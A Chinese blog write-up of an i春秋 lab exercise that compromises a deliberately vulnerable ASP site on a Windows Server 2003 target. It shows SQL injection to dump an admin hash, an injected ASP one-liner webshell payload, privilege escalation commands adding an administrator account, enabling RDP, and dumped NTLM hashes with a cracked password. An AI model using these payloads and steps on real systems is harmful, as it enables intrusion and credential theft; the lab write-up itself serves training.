# 【i春秋综合渗透训练】我很简单,请不要欺负我



32 篇文章 3 订阅

订阅专栏



21 篇文章 1 订阅 订阅专栏



web渗透

9篇文章2订阅 订阅专栏

## 【i春秋综合渗透训练】我很简单,请不要欺负我

摸了几天的?了,主要是不知道该干嘛~~ CTF题目不想做,只想玩玩英雄联盟,玩玩渗透靶机这亚子! 个人觉得不能这样混下去了,于是又来到了i春秋,发现除了CTF还有综合渗透训练这个系列~~ 个人感觉挺好玩的,啊哈哈哈哈,开始了~~

#### 实验环境

操作机: Windows XP 目标机: windows server 2003 实验工具: 中国菜刀 PR 御剑 Pangolin 3389.exe 为了给您带来更加公平的场景体验,竞技类实验场景不包含实验指导

#### 实验过程

首先进入环境,可以看见提示:

## 🛆 实验任务

 $\otimes$ 

本实验要求获取`www.test.ichunqiu`网站的服务器权限



OK,直接打开攻击机的浏览器访问下www.test.ichunqiu 根据要求我们需要明确我们的思路,首先是要求拿到服务器权限, 我们可以通过进入后台,上传shell,然后提权,一通花里胡哨的操作 可以进行简单的信息收集,看是不是什么cms



同时还发现是ASP脚本,操作系统应该是windows的,数据库应该是access或者mssql吧因为Asp一般和access mssql搭建然后可以用御剑扫描一下看看目录:

			_
1	http://www.test.ichungiu/admin/login.asp	200	
2	http://www.test.ichungiu/admin/editor/eWebEditor.asp	200	
3	http://www.test.ichungiu/admin/Login.asp	200	
4	http://www.test.ichungiu/upfile_photo.asp	200	
5	http://www.test.ichungiu/upfile Other.asp	200	
6	http://www.test.ichungiu/UserReg.asp	200	
7	http://www.test.ichungiu/admin/index.asp	200	
8	http://www.test.ichungiu/inc/config.asp	200	
9	http://www.test.ichungiu/UserLogin.asp	200	
10	http://www.test.ichungiu/add.asp	200	
11	http://www.test.ichungiu/error.asp	200	
12	http://www.test.ichungiu/search.asp	200	
13	http://www.test.ichungiu/shownews.asp	200	
14	http://www.test.ichungiu/vote.asp	200	
15	http://www.test.ichungiu/right.asp	200	_
16	http://www.test.ichungiu/upload_other.asp	200	
17	http://www.test.ichungiu/download.asp	200	
18	http://www.test.ichungiu/Comment.asp	200	
19	http://www.test.ichungiu/Image.asp	200	
20	http://www.test.ichunqiu/Upfile_Dialog.asp	200	
21	http://www.test.ichungiu/Upfile Product.asp	200	
22	http://www.test.ichungiu/ShowNews.asp	200	
23	http://www.test.ichunqiu/Upload_Dialog.asp	200	
24	http://www.test.ichungiu/Upload Product.asp	200	
25	http://www.test.ichungiu/SqlIn/sqlIn_admin_asp	200	
26	http://www.test.ichungiu/admin/Admin_Database.asp	200	
27	http://www.test.ichungiu/admin/Admin_UploadFileManage.asp	200	-
00		000	Ĺ
	IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	iet/qq_4296739	98

一大堆东西,发现疑似后台目录,访问一波:

🕞 💽 🗢 🙋 http://www.test.ichunqiu/admin/login.asp	🗾 🖄 🦘 🗙 🎾 Live Search
文件 (12) 编辑 (12) 查看 (12) 收藏夹 (1a) 工具 (12) 帮助 (14)	
🖕 收藏夹 🛛 🍰 🥭 建议网站 🗸 🥖 免费 Hotmail 🥭 网页快讯库 🗸	

2



果然是的,接下来就是尝试登陆了,弱口令,sql注入,万能密码,默认密码等,,, 试试弱口令好像不行,不过发现验证码都不会变,爆破貌似也行 搜索一下魅力网络科技有限公司后台默认密码试试,emmm没找到 万能密码貌似也不行,,,,不想抓包了,顺便抱怨一句,这个环境是真的,,, 那就进入下一步吧,回到主页随便点开一个页面,发现有个id,试试注入:



发现:



直接上穿山甲吧,就是实验环境中提及的工具,使用方法就不必多说了,直接日

URL	http://www.test.ichungiu/shownews.asp?id=5	5	•	GET	-

Type Integer	▼ DB	Access	Keyword		
Table/Column	Count	id	password	user	username
🖃 🗹 admin		1	469e80d32c0559f8		admin
🗹 id					
- 🗹 password		4	<b></b>		1
user			1		
username					
	-				
<u>ا ا</u>		Datas	One by one 1=1		
Tables Columns	All	Save			
Informations	Datas				
Processing records of 1/1					<b>A</b>
Processing records of 1/1					e
Processing records of 1/1					j.csdn.net/qq_429673

日出密码,去解密一下:



### ok, 去后台试试登陆, 成功进入:

$\leftarrow$ $\rightarrow$ X 🗋 www.tes	t.ichunqiu/admin/Index.asp	☆ =
关闭左侧栏	后 退   前 进   系统设置   产品管理   模板方	案 ✤ 官方公告 ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●
<ul> <li>管理系统<sup>1930</sup></li> <li>+管理首页 +安全退出</li> <li>+个人信息设置</li> <li>+日常操作管理</li> </ul>	admin您好, 今天是 2019年9月23日 星期→ >> 上线时间:2015-1-23 11:25:08 >> 身份过期:30分钟 >> 上线次数:617 >> 现在时间:2019年9月23日21:3	欢迎您进入魅力企业网站管理系统 2007 中英繁商业正式版后台管理网站后台管理系统! 在这里 您可以利用系统提供的强大功能,便捷的后台管理功能,栏目无限级分类,产品管理,新闻管理, 招聘管理等功能有效地管理网站。您可以随时使用项部的关闭左栏功能关闭或打开左边的管理导 航,以扩展操作界面。
+公司信息管理		管理快捷方式
+公司产品管理	快捷功能链接	理   询价处理
中下载中心管理	48	
+视频中心管理		系统信息
+公司新闻管理	用户名: admin	IP: 172.16.11.2
+荣 善 形 象 管 理	服务器域名: www.test.ichunqiu / www.test.ichunqi	u 脚本解释引擎: VBScript/5.8.18702
+ 营销网络管理	服务器软件的名称: Microsoft-IIS/6.0	浏览器版本: Mozille/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML,
+ 人才招聘管理		like Gecko) Chrome/39.0.2171.71 Safari/537.36
中项 部 莱 单 管 理	PSO文本读写: ✔	数据库使用: 🖌
+模板设置管理	Jmail组件支持: ×	CDONTS组件支持: ×
+系统设置管理		
+数据库管理	组件名称	支持及版本
● 版本:2.0.5 ● 授权使用:魅力企业网站	MSWC.AdRotator	4

管理系统 2007 中英繁商业正	MSWC.BrowserType	<b>√</b> 0.0	
式版	MSWC.NextLink	4	
➡ 技术支持:魅力软件	MSWC.Tools	×	hitas://bloa.csdn.nei/aa_42967398
			uniberunte Breestuutes del - une et e e e

寻找上传shell的地方,上传上传没找到,备份文件备份没找到,,,, 后来找到一个网站设置的页面:

🗲 🔶 C 🗋 www.test.ichunqiu/admin/Index.asp

关闭左侧栏	后退   前进   系统	段置   产品管理   模板方案 🔶	官方公告
+公司产品管理	•	R	站 記 置
中下载中心管理	阿站信息配置		
+ 視 須 中 心 管 理	公司名称:	魅力企业网站管理系统 2007 中英繁商业正	
+公司新闻管理	公司名称(英文):	MSCOM 2007	
+ 荣 善 形 象 管 理	网站标题:	魅力软件	
+ 营销网络管理	网站标题(英文):	MelyySoft	]
+ 人才招聘管理		www.melyysoft.com	注意:域名已经绑定到程序,不能修改,程序购买后不能换域名。不用填,
中顶部菜单管理	MARK ·	http:// 5	
+模板设置管理	网站备案号:	湘ICP备05011184号	网站备案请到信息产业部官方网站备案. <mark>在线备案</mark>
中系统设置管理	公司邮局: 诸添写完整URL	http://mail.182.com	
⇔系统升级	地址	http://mail.ros.com	
🗠 网站信息配置 👞	公司论坛: 请添写完整论坛	http://bbs.melwsoft.com	1
⇔管理员管理	地址,	http://doi.toni	]
⇔友情链接管理	公司博客: 诸添写完整博客	http://bbs.melwsoft.com	1
──网站公告管理	地址		
──网站调查管理	LOGO地址:	images/Logo.gif	
管理员公告	站长姓名:	melyy	]
──在线qq管理	站长信箱:	melyy@126.com	https://blog.csdn.net/gg=42967398

进行一句话插入试试 <%eval request("1")%>,发现:



ok, 重新尝试一下进行闭合, 发现页面进不去了, , , , 直接选择重做吧, , , , 试试: "%><%eval request("1")%><% emmm, 又出现错误:



۲

#### 再次初始化进行 "%><%eval request("1")%><%' 成功,返回正常页面:

🗋 www.te	s	t.ichunqiu/admin/Ind	ex.asp 🕇 🖞	2
后退 前进 系统设置 产品管理 模板方 案 🔶				
管理	^		网站配置	
管理		阿站信息配置		
管理		公司名称:	魅力企业网站管理系统 2007 中英繁商业正:	
管理		公司名称(英文):	MSCOM 2007	
管理		网站标题:		
管理		网站标题(英文):	MelyySoft	
管理		<b>区2111-1-1-1-1-1</b>	www.melyysoft.com 注意:域名已经绑定到程序	,不
管理		LIND PRAT .	能修改,程序购买后不能换域名。不用填入 http://	
管理		网站各案号:	湘ICP备05011184号 网站备案请到信息产业部官	方网
管理		1.144 80 36 3 1	站备案. 在线备案	
		公司邮局: 请添写完整URL 地址	http://mail.163.com https://blog.csdn.net/qq_4296	7398

上传成功了, 接下来就要知道在什么地方啊

首页没得,看来应该是在什么配置文件里面了,直接看看御剑扫出来的

发现一个目录inc/config.asp猜测是不是在这里呢,直接菜刀链接一波试试:

□ 添加SHELL		>
地址: [http://www.test.ichunqiu/inc/config.asp	1	
配置:		
新行業別 ▲ Windows (Eval) ▲ GB2312 ▲	添加	
https://bid.csdn.net/qq_	4296739	

#### 发现直接成功,,,,,:

🚞 c:\inetpub\wwwroot\	inc\				± 🗸 🗌	读取	星期一 20
172.16.12.2	目录 (0), 文件 (27)	名称	时间	大小	属性	<b>^</b>	🗆 🖂 站点药
		🗐 ArticleChar.inc	2015-01-23 13:29:00	753	32		□□ 默 □ Tv
⊡ 🛩 U: № ⊡ 🧰 inetpub		📷 Check_Sql. asp	2015-01-23 13:29:00	2283	32		🕞 日程抄
🖃 🧰 www.root		🔂 Cls_main. asp	2015-01-23 13:29:00	4701	32		២ 快捷2
🗁 inc		📷 Config. asp	2019-09-23 22:36:55	5789	32		
See D: See E:		🖬 Conn. asp	2015-01-23 13:29:00	806	32		
			001E 00 00 10 0E 1E	000			

🕶 Conn_dbFile. Asp	2015-02-09 10:07:45	222	32
🖬 count. asp	2015-01-23 13:29:00	668	32
🌋 domenu. js	2015-01-23 13:29:00	34012	32
🖬 EnCls_main. asp	2015-01-23 13:29:00	4897	32
🖬 EnFoot. asp	2015-01-23 13:29:00	3128	32
🖬 EnSysProduct. asp	2015-01-23 13:29:00	24929	32
🖬 Foot. asp	2015-01-23 13:29:00	2689	32
🖬 Function. asp	2015-01-23 13:29:00	23534 <sub>05://blo</sub>	32.sdn.net/ac 42967398

#### 接下来就是找到有写权限的目录,并上传工具:

C: inetpub image: state of the state of	<ul> <li>3389. bat</li> <li>3389. vbs</li> <li>m cmd. exe</li> </ul>	2019-09-23 23:09:10 2019-09-23 23:22:44 2019-09-23 22:49:02	530 2159 100864 482816	32 32 32 32 32 32	□ Typ ○ 日程提 ○ 快捷方: □ 上传下i
<ul> <li>☐ System Volume Information</li> <li>☐ WINDOWS</li> <li>☐ wmpub</li> <li>☐ wmiislog</li> </ul>	pr. exe	2019-09-23 22:48:42	73728 https://blo	32 og.csdn.net/q	

涂掉的是没用的工具,添加用户:

C:\wmpub\> pr.exe "net user adm adm /add"
/xxoo//Dulldomulange by p /xxoo/>This exploit zives you a Local System shell
/xxoo/>Got WMI process Pid: 2432
begin to try
/xxco/>Found token SYSTEM /xxco/>Command:net user adm adm /add
命令成功完成。
C:\wmpub\>

将用户添加到系统管理员组:

```
C:\wmpub\> pr.exe "net localgroup Administrators adm /add"
/xxoo/-->Build&&Change By p
/xxoo/-->This exploit gives you a Local System shell
/xxoo/-->Got WMI process Fid: 2432
begin to try
/xxoo/-->Found token SYSTEM
/xxoo/-->Found token SYSTEM
/xxoo/-->Command:net localgroup Administrators adm /add
命令成功完成。
```

利用工具开启3389端口(估摸着3389.bat没用):





在本机上cmd中输入mstsc,输入靶机ip,链接输入账号密码登陆成功:



继续,上传密码破解工具,,,,试了很久,使用cain这个工具,其他看不见administrators的密码:

112.16.12.2 日来(1),又行(9)	るか	111日	入小	周任	
🧇 Å:	🚞 wmiislog	2014-11-24 15:19:03	0	16	100
E C:	🛅 32读取管理员密码. exe	2019-09-23 23:28:51	49152	32	Ð
E 🚞 www.root	<b>3389.</b> bat	2019-09-23 23:09:10	530	32	🛛 🕒 t
c inc	🛅 ca_setup_53494. exe	2019-09-23 23:43:17	8074686	32	L -
Documents and Settings	🗂 cmd. exe	2019-09-23 22:49:02	100864	32	
ECYCLER	S MSTSCAX. DLL	2019-09-23 22:51:27	482816	32	
🧰 System Volume Information	MSTSC可直接复制远程文件. EXE	2019-09-23 22:51:20	373248	32	
	<b>pr</b> . exe	2019-09-23 22:48:42	73728	32	
🖃 🥌 wmpito 🚞 wmiislog	📩 win32getpass.exe	2019-09-23 23:35:34	255742	32	

🛅 星号密码查看工具. exe

nttps://blog.csdn.net/gg\_42967398

32

例如:



上传之后,在服务器上安装好并打开,切换到"Cracker"标签下,点击"LM & NTLM Hashers",点击右边表格区域,在点击上面蓝 色的加号:

Eile View Configure Tools Help							
🔄 🔹 🕉 👬 Kar							
🙈 Decoders 🔮 Network 🏟 Sniffer 🎻 Cracker 🔯 Traceroute 🛄 CCDV 💖 Wireless ҧ Query							
1 Cracker	User Name	LM Password	< 8	NT Password	LM Hash	NT Hash	challenge
- 🛃 LE & HILE Hasl	🗙 adm		*		AAAB261B200	5E8C03CCBC3	
- 🎆 NTLMv2 Hashes (C	🗙 Administrator				62C4700EBB0	4D478675344	
	🗙 admins 📃 📐		*		22A7333E767	B861D46CEA5	
🥰 PWL files (O)	🗙 ASPNET 5				BADBE6EEB5E	9CF05A6237D	
	🗙 di da				E2302B9A913	ADAE5BD5E8A	
Cisco PIX-MD5 He	or Guest	* empty *	*	* empty *	AAD3B435B51	31D6CFE0D16	
CRAW-WD5 Hashes	X IUSR_ADMIN-508BF95B0				1E427AF280A	24DE153E599	
CRAM-MDS Rashes	X IWAM_ADMIN-508BF95B0				12A4D7AFD02	EAA14868578	
TTP://-WD5 Hashes	X SUPPORT_388945a0	* empty *	*		AAD3B435B51	E7F84FA468F	
VRRP-HMAC Hashes							
VNC-3DES (0)							
MD2 Hashes (0)							-New 1002700
MD4 Hashes (0)							er/qq_4290759

在出现的窗口中选中"Include Password History Hashes",点击"NEXT"



Comport Hashes from a	text file
C Import Hashes from a	SAM database
S. M Filename	
.	
Eoot Key (HEX)	
	Cancel Next-> https://blog.csdn.net/gg_42967398

之后将结果export,用记事本打开,可以得到:

adm:"":"":AAAB261B2008C113AAD3B435B51404EE:5E8C03CCBC34F2E2E6CFC57102C91C09 Administrator:"":"":62C4700EBB05958F3832C92FC614B7D1:4D478675344541AACCF6CF33E1DD9D85 admins:"":":22A7333E76735C4DAAD3B435B51404EE:B861D46CEA576E461EC83DA64B3DB259 ASPNET:"":"BADBE6EEB5EC850DF08107B607F20480:9CF05A6237D140372430AA11EBFB9D34 dida:"":":E2302B9A91361D15D62E86FF41F77919:ADAE5BD5E8AF479506CDD910D8FA3D57 Guest:"":":AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 IUSR\_ADMIN-508BF95B0:"":":1E427AF280AFBBF5A172F5633169A978:24DE153E599DB4FEEF439F7552FB576B IWAM\_ADMIN-508BF95B0:"":":AAD3B435B51404EEAAD3B435B51404EE:25B8E24E08:EAA1486857898D80F49937AE6453F0B4 SUPPORT\_388945a0:"":

得到的是Administrators用户的登录密码HASH,还需要破解

62C4700EBB05958F3832C92FC614B7D1:4D478675344541AACCF6CF33E1DD9D85

#### 4D478675344541AACCF6CF33E1DD9D85

破解结果: cu9e2cgw

GO

登陆成功:



题目答案







您击败了93%的用户,你不是人! 你简直就是安全新人圈的神! (想重新答题?请点上方重做实验)

https://blog.csdn.net/qq\_42967398